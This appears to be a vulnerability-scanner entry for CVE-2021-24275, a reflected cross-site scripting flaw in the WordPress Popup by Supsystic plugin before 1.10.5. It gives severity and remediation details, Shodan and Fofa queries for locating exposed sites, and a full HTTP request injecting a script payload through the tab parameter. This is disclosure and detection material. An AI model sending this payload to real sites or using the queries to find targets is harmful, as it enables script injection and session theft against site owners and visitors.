| Title | Popup by Supsystic <1.10.5 - Cross-Site scripting |
|---|---|
| Author | dhiyaneshDK |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Upgrade to Popup by Supsystic version 1.10.5 or later to mitigate the vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.05897 |
| CVE ID | CVE-2021-24275 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:/wp-content/plugins/popup-by-supsystic |
| Fofa Query | body=/wp-content/plugins/popup-by-supsystic |
| Tags | cve2021 cve wpscan packetstorm wordpress wp-plugin supsystic vuln |
WordPress Popup by Supsystic before 1.10.5 did not sanitize the tab parameter of its options page before outputting it in an attribute, leading to a reflected cross-site scripting issue.
GET /wp-admin/admin.php?page=popup-wp-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24275.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24275.pcap
N/AN/A